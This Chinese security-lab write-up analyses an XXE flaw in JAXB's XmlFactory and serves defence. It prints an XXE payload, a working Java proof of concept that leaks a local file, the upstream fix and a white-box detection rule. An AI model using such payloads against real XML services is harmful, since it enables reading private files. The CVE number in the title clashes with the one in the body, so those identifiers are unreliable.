资讯详情

资讯详情

开源组件漏洞分析-CVE-2020-13936-JAXB核心XXE漏洞

本文作者宇航涂鸦智能安全实验室漏洞编号CVE-2026-92877受影响版本org.glassfish.jaxb:jaxb-core [4.0.4,4.0.4]漏洞危害Eclipse Implementation of JAXBjaxb-ri是开源的 Jakarta XML Binding 参考实现org.glassfish.jaxb:jaxb-core 提供 XML 解析工厂供运行时把 XML 文档反序列化为 Java 对象。 受影响版本中XmlFactory 的 createParserFactory 与 createDocumentBuilderFactory 在默认开启 XML 安全处理时只设置 FEATURE_SECURE_PROCESSING。应用若通过 Unmarshaller 反序列化不可信 XML且所用 JAXP 实现在仅启用该特性时仍解析外部实体攻击者可借助带外 XXE 读取本地文件。 修复版本中通过在安全处理开启时禁止 DOCTYPE并关闭外部通用实体、外部参数实体和外部 DTD 加载切断仅依赖 FEATURE_SECURE_PROCESSING 时的外部实体解析路径DocumentBuilderFactory 同时关闭实体引用展开。漏洞pocxxe?xml version1.0encodingUTF-8?!DOCTYPEroot[!ENTITYxxeSYSTEMfile:///var/folders/2t/l3fndlbn06s6yvwjtxdzbd2r0000gn/T/jaxb-xxe-secret-83530044694507676.txt]rootxxe;/root漏洞触发点DocumentBuilderFactory factoryXmlFactory.createDocumentBuilderFactory(false);factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,all);factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,all);String leakedfactory.newDocumentBuilder().parse(newInputSource(newStringReader(xml))).getDocumentElement().getTextContent();漏洞详情该漏洞主要在于XmlFactory.createDocumentBuilderFactory(false)仅调用setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, !isXMLSecurityDisabled(…))自身不提供任何XXE防护。以下是验证pocpackagecom.example.test.cves;importcom.sun.xml.bind.v2.util.XmlFactory;importorg.xml.sax.InputSource;importjavax.xml.XMLConstants;importjavax.xml.parsers.DocumentBuilderFactory;importjava.io.StringReader;importjava.nio.charset.StandardCharsets;importjava.nio.file.Files;importjava.nio.file.Path;publicclassCVE_2026_92877{publicstaticvoidmain(String[]args)throws Exception{Path secretFiles.createTempFile(jaxb-xxe-secret-,.txt);String secretContentFLAG{JAXB_CVE_2026_92877_LOCAL_FILE_LEAK};Files.write(secret,secretContent.getBytes(StandardCharsets.UTF_8));String xml?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY xxe SYSTEM secret.toUri().toASCIIString() ]rootxxe;/root;System.out.println(poc: xml.toString());System.out.println(CVE-2026-92877 漏洞验证);System.out.println(Eclipse JAXB-RI XmlFactory 缺少外部实体防护导致 XXE 文件读取);System.out.println(目标本地文件: secret);DocumentBuilderFactory factoryXmlFactory.createDocumentBuilderFactory(false);factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,all);factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,all);String leakedfactory.newDocumentBuilder().parse(newInputSource(newStringReader(xml))).getDocumentElement().getTextContent();System.out.println(XML 解析取到的内容: leaked);if(secretContent.equals(leaked)){System.out.println(✓ 漏洞触发成功XmlFactory 自身未提供任何 XXE 防护本地文件内容被完整读出);}else{System.out.println(✗ 外部实体未被展开漏洞已修复);}Files.deleteIfExists(secret);}}运行后可得到调用堆栈如下修复方案官方修复见 PR #2013在 securityOn 分支内新增 disallow-doctype-decltrue、external-general-entitiesfalse、external-parameter-entitiesfalse、load-external-dtdfalse并对 DOM 工厂调用 setExpandEntityReferences(false)。加白策略由上分析可知此处漏洞触发条件有以下两点1、使用如下不安全写法直接调用了createParserFactory() / createDocumentBuilderFactory()进行xml的解析。2、用户可自定义xml内容。此处影响范围较大可通过具体函数进行匹配从而转换为白盒规则。白盒规则其中 com.sun.xml.bind.v2.util.XmlFactory.createDocumentBuilderFactory和 createParserFactory函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码进行确认是否存在安全配置项。主要匹配内容com.sun.xml.bind.v2.util.XmlFactory.createDocumentBuilderFactory();com.sun.xml.bind.v2.util.XmlFactory.createParserFactory()。包名com.sun.xml.bind.v2.util类名XmlFactory方法名createDocumentBuilderFactory、createParserFactory使用语义分析策略即可整体规则如下Semanticid4ea4a631-7b56-4a49-9db0-4d4cb3b3cdc5version1.1.1MethodDefinitionimplementstrueoverridestrueextendstrue!--填写需要匹配的命名空间正则表达式或字符串可选不需要匹配命名空间则删除该节点--NamespaceNametypevaluecom.sun.xml.bind.v2.util/NamespaceName!--填写需要匹配的类名正则表达式或字符串可选不需要匹配类名则删除该节点--ClassNametypepatternXmlFactory/ClassName!--填写需要匹配的方法名正则表达式或字符串--MethodNametypepatterncreateDocumentBuilderFactory|createParserFactory/MethodName/MethodDefinition/Semantic
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →